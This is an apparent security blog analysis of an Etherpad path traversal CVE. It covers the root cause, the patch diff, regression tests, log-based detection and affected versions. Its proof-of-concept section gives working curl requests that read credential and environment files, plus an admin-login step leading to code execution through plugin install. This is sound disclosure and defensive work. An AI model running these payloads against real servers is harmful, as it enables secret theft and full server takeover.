Automated Threat Modeling

Brief Summary: Etherpad CVE-2026-114516 Pre-Auth Path Traversal and Arbitrary File Read with PoC

A summary of CVE-2026-114516, an unauthenticated path traversal in Etherpad's /static/* handler that enables arbitrary file read, with PoC, patch, and detection details.

CVE Analysis

11 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-19

Brief Summary: Etherpad CVE-2026-114516 Pre-Auth Path Traversal and Arbitrary File Read with PoC

Introduction

Etherpad's /static/* asset handler serves harmless plugin files like stylesheets and scripts to anyone, no login required. CVE-2026-114516 turns that public, pre-authentication route into an arbitrary file read primitive. A remote attacker can pull settings.json, credentials.json, environment secrets, the pad database, and TLS private keys off the host, then follow a documented path to full server takeover.

Etherpad is an open source, self-hosted real-time collaborative document editor maintained in the ether/etherpad repository under the Apache 2.0 license by a small volunteer team. The project reports millions of users and tens of thousands of self-hosted instances, and names Wikimedia, public institutions, and education among its adopters. For organizations that run Etherpad specifically to keep their documents on their own infrastructure, a server-side disclosure flaw cuts straight against that value proposition.

Technical Information

The vulnerability affects Etherpad versions 1.8.14 through 3.3.2 (npm package etherpad-lite) and carries a CVSS 3.1 score of 9.8 with the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The official weakness classifications are CWE-22, CWE-200, and CWE-306.

Root cause: two files disagree about what a backslash means

The /static/*filename route is registered via the expressPreSession hook (src/node/hooks/express/static.ts:38), which runs before Etherpad's session and webaccess.checkAccess authentication middleware (src/node/hooks/express.ts:244-247). No credentials or session are required to reach it.

Etherpad already had a path sanitizer, sanitizePathname.ts. It normalizes the requested path, rejects absolute paths and leading .. components, and only then converts backslashes to forward slashes, and only on Windows:

if (pathApi.sep === '\\') p = p.replace(/\\/g, '/')

The Windows-only rule matters because on Linux a backslash is just an ordinary character in a filename. A segment like ......\etc contains no real .. path components, so the sanitizer correctly lets it through unchanged. Etherpad's own test confirms this behavior: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\foo'] as accepted.

The problem is in src/node/utils/Minify.ts. After the sanitizer had approved the path, this file joins it onto the plugin's root directory and then runs the backslash-to-slash conversion again, this time unconditionally on every platform:

const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/); if (match) { const library = match[1]; const libraryPath = match[2] || ''; if (plugins.plugins[library] && match[3]) { const plugin = plugins.plugins[library]; const pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check } }

On Linux, that final replace turns the harmless backslash bytes back into real ../ components. No second check runs before fs.stat (Minify.ts:248) and fs.readFile (Minify.ts:315). The resulting string, for example /src/static/../../../../etc/passwd, reaches the filesystem operations with no re-normalization or containment check.

Because path.join produces an absolute path, path.resolve(ROOT_DIR, filename) discards ROOT_DIR, and POSIX path.resolve collapses surplus .. at the root. That makes the payload depth-agnostic: extra .. segments are simply absorbed at /. The ep_etherpad-lite pseudo-plugin is always registered (plugins.ts:153-158), so the vulnerable branch is always taken.

This is a textbook instance of MITRE CWE-180, Incorrect Behavior Order: Validate Before Canonicalize. Input should reach its canonical form before validation; here canonicalization happens after. CWE-180 is explanatory framing rather than an official classification assigned to this CVE.

Why %5C specifically

The traversal must use a URL-encoded backslash (%5C). Express 5 decodes the wildcard segments once. %2F decodes to /, gets split again, and is rejected by the sanitizer's .. check. %5C survives the POSIX sanitizer as an ordinary filename byte, and Minify.ts then converts it into a real ../. Matching on %5C versus %2F is the single detail that separates this bug from classic traversal.

Attack flow

Step one is the unauthenticated file read. The attacker requests a /static/plugins/ep_etherpad-lite/static/ path containing ..%5C segments to read any file available to the Etherpad process identity. The flaw does not bypass filesystem permissions; it reads what the operating system identity running Etherpad can read.

Step two is conditional escalation. If a disclosed file reveals an administrator credential, the attacker mints an admin session, connects to the /pluginfw/installer Socket.IO namespace (gated only on session.user.is_admin, src/node/hooks/express/adminplugins.ts:22), and emits install for an attacker-controlled ep_* plugin. Etherpad require()s the plugin's code in-process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user.

Proof of Concept

A public, fully reproducible proof of concept was published in both the maintainer advisory (GHSA-mc8w-wjhw-45x5) and the Neodyme advisory authored by Tobias Madl. It was reviewed from those two independent authoritative sources, which present identical payloads, code line references, and escalation chain. It was not executed in this review.

Step one, unauthenticated arbitrary file read. The --path-as-is flag stops curl from folding the traversal. Replace TARGET:9001 with the instance:

curl --path-as-is \ 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'

High-value reads (extra .. segments are absorbed at /); /proc/self/cwd resolves to the Etherpad working directory regardless of install path:

curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json' curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'

On docker-compose deployments the admin password is an environment variable, recoverable via:

curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'

Each response returns the raw file bytes. Extension-less targets get a harmless Content-Type: false header that Node coerces without throwing. Readable targets include settings.json and credentials.json (admin password, sessionKey, DB credentials, SSO secrets), /proc/self/environ (ADMIN_PASSWORD, DB_PASS), the pad database, TLS private keys, and /etc/passwd.

Step two, escalation to RCE. Recover the admin credential from the files above, then mint an admin session:

curl -i -X POST 'http://TARGET:9001/admin-auth/' \ -H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)" # -> 200 + Set-Cookie: express_sid=...

Using the express_sid cookie, connect to the /pluginfw/installer Socket.IO namespace and emit install for an attacker-controlled ep_* plugin. Etherpad require()s the plugin's code in-process during plugins.update(), executing arbitrary code as the Etherpad user for full server takeover.

Patch Information

Etherpad fixed CVE-2026-114516 in v3.3.3, released on 2026-07-29. The change is commit 9c8d16d, merged through PR #8081 and authored by maintainer John McLear. The vendor advisory lists etherpad-lite versions 1.8.14 through 3.3.2 as vulnerable and 3.3.3 as the first patched release. One upstream report linked this CVE to PHP 8.x releases; that link is wrong and no source connects them.

The fix targets an ordering bug, not a missing check. It is one line in the plugin-static branch of _minify, placing the same platform guard that the sanitizer uses around the conversion:

filename = path.join(pluginPath, libraryPath); - // On Windows, path.relative converts forward slashes to backslashes. Convert them back - // ... This conversion does not introduce a directory - // traversal vulnerability because all '..\\' substrings have already been removed by - // sanitizePathname. - filename = filename.replace(/\\/g, '/'); + // THIS CONVERSION MUST ONLY BE DONE ON WINDOWS. On POSIX systems a backslash is an ordinary + // filename byte, not a separator, so sanitizePathname() deliberately leaves '..\\' segments + // untouched (they are harmless there). Replacing '\\' with '/' unconditionally would turn + // those already-sanitized bytes back into '../' path components *after* the traversal check + // has run, reintroducing a directory-traversal / arbitrary-file-read vulnerability + // (GHSA-mc8w-wjhw-45x5). + if (path.sep === '\\') filename = filename.replace(/\\/g, '/');

After the patch, on Linux and other POSIX systems a request like /static/plugins/ep_etherpad-lite/static/..%5C..%5Cetc/passwd resolves to a file whose name literally contains backslashes inside the plugin's static directory. That file does not exist, so the server returns 404. On Windows the conversion still runs and remains safe because the sanitizer has already normalized away any ..\ traversal before that point.

Scope worth noting: the fix only removes the faulty conversion. It does not add a separate check that the resolved path stays inside the plugin directory, and it does not move the /static/* route behind authentication. Static assets remain public by design. Safety now depends on the sanitizer and the platform guard staying consistent.

Regression coverage was added in src/tests/backend/specs/staticPathTraversal.ts, which the release notes say fails on the pre-fix code. It contains three cases: an over-deep ..%5C climb to etc/passwd must not return content matching root:.*:0:0: and must return 404; the same climb to proc/self/cwd/settings.json must not leak sessionKey, dbSettings or "admin" and must return 404; and a real asset (/static/plugins/ep_etherpad-lite/static/skins/no-skin/pad.js) must still return 200, showing normal static serving is intact. The test comments explain why it uses %5C specifically: %2F decodes to / and is already blocked by the existing .. guard, so the backslash was the only route around the sanitizer.

Release context: v3.3.3 is labelled a security release. Besides this fix, it includes four unrelated advisories (an OIDC hardcoded cookie key and CORS reflection, session fixation, a cross-pad write race TOCTOU, and copyPad/movePad id injection), so upgrading fixes all five at once. About three months passed between the fix shipping (2026-07-29) and the advisory going public (2026-10-27).

Detection Methods

We could not find a vendor-published Suricata, Snort, Sigma, YARA, or Nuclei rule for CVE-2026-114516. Detection has to be built from the published exploit details, but those details make the attack unusually easy to spot because there is only one way in: one URL prefix plus one specific encoding trick.

Why the request looks the way it does

To reach the vulnerable code the request path must match the plugins//static/... branch, and the core pseudo-plugin ep_etherpad-lite is always registered, which is why both advisories use the prefix /static/plugins/ep_etherpad-lite/static/. The traversal must use a URL-encoded backslash (%5C). The meaningful pattern is ..%5C sequences; classic ../ or %2e%2e%2f traversal is not the signal here. The published example request is:

GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd

Hunting in access, reverse-proxy, and WAF logs

Search HTTP logs for requests whose path starts with /static/plugins/ and contains ..%5C. A reverse proxy forwards %5C unchanged, so the raw payload shows up in nginx, Apache, HAProxy, load-balancer, or CDN logs in front of Etherpad. Because POSIX path.resolve absorbs extra .. segments at /, the number of ..%5C segments varies. Match on the encoded backslash and parent-directory pattern, not a fixed count, and keep the hex match case-insensitive (%5C / %5c). The file name at the end tells you the target: etc/passwd is usually a first probe, proc/self/cwd/settings.json and proc/self/cwd/credentials.json hold the admin password, sessionKey, DB credentials, and SSO secrets, and proc/self/environ holds ADMIN_PASSWORD and DB_PASS on Docker Compose deployments. Any hit referencing proc/self/, settings.json, or credentials.json should be treated as likely credential theft, not just a scan.

Telling an attempt from a successful read

On a vulnerable server the response contains the raw bytes of the requested file. An HTTP 200 for one of these traversal URLs with a response size much larger than usual for that path is a strong sign the file was read. Extension-less targets also come back with a Content-Type: false header; if your proxy, WAF, or network sensor records response headers, Content-Type: false on a /static/plugins/... response is a high-confidence sign of a successful read. On patched v3.3.3 the same request should no longer resolve outside the plugin directory.

Correlating the follow-on stages

File read to admin login to code execution each leave traces you can correlate with traversal requests from the same source IP. Watch for a POST /admin-auth/ with an HTTP Basic Authorization header answered with a 200 and an express_sid cookie, especially from an IP that recently requested ..%5C paths. Watch for a Socket.IO connection to the /pluginfw/installer namespace followed by an install event for an ep_* plugin, and for new or changed packages in Etherpad's plugin directory or unexpected child processes and outbound connections from the Node.js process. Admin access also allows saveSettings and restartServer, so unexpected settings.json changes or unplanned restarts deserve a look.

Finding exposed instances and reviewing history

Inventory Etherpad deployments (npm package version, Docker image tag, .deb package version) and flag anything in the 1.8.14 through 3.3.2 range; instances reachable from untrusted networks are most urgent. To confirm exposure on systems you are authorized to test, send the advisories' /etc/passwd request with curl --path-as-is; raw file content in the response means the instance is vulnerable. If an instance was exposed while vulnerable, review historical logs for the ..%5C pattern back to when it first ran an affected version. The fix shipped on 2026-07-29 but the request pattern was only published on 2026-10-27, so attempts may cluster after that date. If any credential-file read succeeded, assume the admin password, sessionKey, database credentials, and SSO secrets are compromised, rotate them, and check for admin sessions or plugin installs made afterwards.

Affected Systems and Versions

  • Affected project: Etherpad, npm package etherpad-lite
  • Affected versions: >= 1.8.14, < 3.3.3 (equivalently 1.8.14 through 3.3.2)
  • First fixed version: 3.3.3
  • Documented reproduction platform: Linux (the underlying explanation concerns POSIX path handling); the researcher's reproduction applies to default production deployments including Docker and systemd installations
  • The vulnerable core plugin path exists without installing any optional plugins because ep_etherpad-lite is always registered

Vendor Security History

Etherpad has a documented history of plugin-related compromise paths. In 2021, Sonar published CVE-2021-34817, a stored cross-site scripting issue, and CVE-2021-34816, an argument injection issue. The former was exploitable under default configuration; the latter required an administrator account to exist. Sonar showed how compromising an administrator and supplying a malicious package through plugin management could lead to server compromise. That case differs from CVE-2026-114516 in its initial primitive (browser-side script execution rather than server file disclosure), but both converge on the same security boundary: administrator access to an extensible system capable of installing executable plugins. Sonar's historical account reported an XSS fix in 1.8.14; that statement describes the earlier disclosure, not the present CVE.

Etherpad's security policy directs vulnerability reports to [email protected] and does not state a supported version matrix or public disclosure timetable.

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